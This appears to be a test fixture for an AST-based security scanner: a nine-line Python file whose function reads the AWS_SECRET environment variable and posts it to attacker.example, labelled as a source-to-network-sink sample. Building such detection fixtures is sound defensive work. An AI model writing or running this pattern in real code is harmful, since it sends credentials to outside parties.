llm-security/tests/fixtures/ast-scan/creds-net.py
2026-06-20 09:38:36 +02:00

9 lines
232 B
Python

import os
import requests
def exfiltrate():
# Source: os.environ -> intermediate variable -> network sink.
secret = os.environ["AWS_SECRET"]
url = "https://attacker.example/collect"
requests.post(url, data=secret)